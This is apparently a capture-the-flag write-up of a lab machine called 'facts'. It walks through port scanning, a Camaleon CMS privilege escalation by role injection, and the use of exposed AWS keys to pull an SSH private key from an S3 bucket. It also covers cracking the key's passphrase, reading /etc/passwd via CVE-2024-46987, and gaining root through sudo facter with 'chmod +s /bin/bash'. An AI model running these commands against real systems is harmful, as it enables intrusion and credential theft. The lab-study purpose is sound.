From Camaleon to S3 Buckets to taking over the system.
Introduction
Hello everyone. In this post , we are going to:
- Exploit a Camaleon CMS vulnerability (CVE-2025-2304)
- Taking advantage of exposed AWS Credentials to access a sensitive S3 bucket that will give us spicy information
- Getting access to the machine as user
- Escalate our privileges with a program misconfiguration vulnerable to PE.
Reconnaissance
Our target IP is: 10.129.20.186
As always , i start my scan with Rustscan , a powerful and fast tool that can let us
understand which port is open , faster than Nmap, that we’re gonna use just right after getting all the open ports to analyze them better.
Network recon
1
2
3
4
rustscan -a 10.129.20.186 --ulimit 5000 -g
Open 10.129.20.186:22
Open 10.129.20.186:80
Open 10.129.20.186:54321
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
nmap -sT -A -Pn -T5 -p 22,80,54321 10.129.20.186 --disable-arp-ping --min-rtt-timeout 50ms --max-rtt-timeout 100ms --stats-every=2s
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_ 256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp open http nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.26.3 (Ubuntu)
54321/tcp open http Golang net/http server
|_http-title: Did not follow redirect to http://10.129.20.186:9001
| http-methods:
|_ Supported Methods: GET OPTIONS
|_http-server-header: MinIO
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Accept-Ranges: bytes
| Content-Length: 303
| Content-Type: application/xml
| Server: MinIO
| Strict-Transport-Security: max-age=31536000; includeSubDomains
| Vary: Origin
| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
| X-Amz-Request-Id: 188FEB7AB90B774F
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Sat, 31 Jan 2026 20:41:30 GMT
| <?xml version="1.0" encoding="UTF-8"?>
| <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/nice ports,/Trinity.txt
.bak</Resource><RequestId>188FEB7AB90B774F</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8<
/HostId></Error>
| GenericLines, Help, RTSPRequest, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 400 Bad Request
| Accept-Ranges: bytes
| Content-Length: 276
| Content-Type: application/xml
| Server: MinIO
| Strict-Transport-Security: max-age=31536000; includeSubDomains
| Vary: Origin
| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
| X-Amz-Request-Id: 188FEB7702DDD6CB
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Sat, 31 Jan 2026 20:41:14 GMT
| <?xml version="1.0" encoding="UTF-8"?>
| <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>1
88FEB7702DDD6CB</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
| HTTPOptions:
| HTTP/1.0 200 OK
| Vary: Origin
| Date: Sat, 31 Jan 2026 20:41:15 GMT
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http
s://nmap.org/cgi-bin/submit.cgi?new-service :
To summarize, we have:
SSH : 9.9p1
HTTP website : Nginx 1.26.3
54321/tcp : Golang net/http server REDIRECT –> http://10.129.20.186:9001 (MINIO)
Since we have a website, let’s add in our hosts file as facts.htb
echo 10.129.20.186 >> /etc/hosts
Enumeration
Assets enumeration
Before of taking a look at the Webserver, let’s leave something in the background
- FFUF : To discover any alive VHosts
- Feroxbuster : To map every available share in the website
1
2
❯ ffuf -u https://facts.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "HOST:FUZZ.facts.htb" -fc 404
OUTPUT: 0
1
❯ feroxbuster -u http://facts.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -C 404
1
2
3
4
5
6
7
8
OUTPUT:
http://facts.htb/admin.cgi
http://facts.htb/ajax
http://facts.htb/captcha
http://facts.htb/assets/themes/camaleon_first/assets/js/main-2d9adb006939c9873a62dff797c5fc28dff961487a2bb550824c5bc6b8dbb881.js
http://facts.htb/robots.txt
http://facts.htb/sitemap.xml
http://facts.htb/up
Website
So let’s try to moving around what we have found fuzzing directories.
Going to http://facts.htb/assets/themes/camaleon_first/assets/js/main-2d9adb006939c9873a62dff797c5fc28dff961487a2bb550824c5bc6b8dbb881.js
Reveals that the website is using jQuery v2.2.4, which could be’ vulnerable to CVE-2020-11022
1
2
3
4
5
6
7
8
9
10
11
12
13
/*!
* jQuery JavaScript Library v2.2.4
* http://jquery.com/
*
* Includes Sizzle.js
* http://sizzlejs.com/
*
* Copyright jQuery Foundation and other contributors
* Released under the MIT license
* http://jquery.org/license
*
* Date: 2016-05-20T17:23Z
*/
However we can also read “camaleon_first” in the url = Camaleon CMS is being used.
Going to the other endpoints,doesn’t reveal any interesting informations,except for /admin
Digging in
I tried to:
- Understand if the username enumeration was possible through response analysis
- Inject classic payloads (SQLi and more)
Here we can see there is no XSS protection
I also discovered some pages with some users comments, so i tried to see if any of this user was available for loggin in the website:
But no dice.
I then tried to find something in forgot password (Injection or email enumeration)
However nothing of this worked and that made filter out those endpoints.
So i registered a new account:
With this i had access to my own admin panel (For post management)
on the bottom i noticed:
Looking up on google for Camaleon Version 2.9.0 i have found:
Exploitation
Since no Proof of Concept was available, i read the vulnerable pieces of code
1
2
3
4
5
6
7
8
9
10
def updated_ajax
@user = current_site.users.find(params[:user_id])
update_session = current_user_is?(@user)
@user.update(params.require(:password).permit!)
render inline: @user.errors.full_messages.join(', ')
# keep user logged in when changing their own password
update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end
In Ruby on Rails, security rules usually act like a “guest list” for a club—only the names on the list get in. However, using the method .permit! is like telling: “Let everyone in without checking their ID.”
Even if a form is designed only to change a password, a hacker can “hide” extra data in the request.
What’s interesting in it? Role.
Exploitation steps:
- Use a proxy (e.g Burpsuite,Caido) for intercepting the password change request
- Change the password
- The request will look like so
- don’t send this request to repeater, simply add &password[role]=admin and forward the request.
- As results, we now are:
Getting access as Admin, made me able to access the configuration page, that exposes AWS credentials.
S3 Bucket attack
Access key id: AKIAA35AE79B59943F92
Bucket name: randomfacts
Secret key: m3z8jYtSV/j4WdnRoci3H2psWYztUI7yD5o/OvcS
Region: us-east-1
I used aws-cli in linux to get access to the bucket.
Simply with aws configure --profile local
1
2
3
❯ aws s3 ls --profile local --endpoint-url http://facts.htb:54321
2025-09-11 14:06:52 internal
2025-09-11 14:06:52 randomfacts
2 interesting buckets were found inside. I enumerated internal and found that..
1
2
3
❯ aws s3 ls s3://internal --recursive --profile local --endpoint-url http://facts.htb:54321/
.ssh/id_ed25519
A private SSH key.
So i downloaded it
1
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --profile local --endpoint-url http://facts.htb:54321/
and tried to access the machine with common username as facts..admin..dev..internal.. but nothing worked.
So i had to extract the public key (containing the username ) from this private key, but in order to do that, i needed the passphrase of the private key.
To crack the password , i used sshng2john
However a problem appeared, it’s a very old tool and it requires python2. Since it’s very deprecated, i used a docker container with python in order to prevent installing it in my system
1
sudo docker run -it --rm -v "$PWD":/usr/src/myapp -w /usr/src/myapp python:2.7 python sshng2john.py id_ed25519
Using i was able to get the password. However extracting the public key was not the solution. john --wordlist=/usr/share/wordlists/rockyou.txt hash
CVE-2024-46987
Looking up on internet, i found out that Camaleon was also vulnerable to CVE-2024-46987
Using a poc i was able to download /etc/passwd and get two names: william and trivia, Trivia worked.
I then used the private key to get access to the server.
Privilege escalation
The user was able to run as sudo /usr/bin/facter:
Looking up on gtfobins, i found
We can load arbitrary code , so let’s exploit it.
1
2
3
4
5
6
7
trivia@facts:/tmp/facter$ echo 'Facter.add(:innocentx0_fact) do setcode { system("chmod +s /bin/bash")} end' > root.rb
trivia@facts:/tmp/facter$ sudo /usr/bin/facter --custom-dir=/tmp/facter/ innocentx0_fact
true
bash-5.2# cat /root/root.txt
2c494f4c063************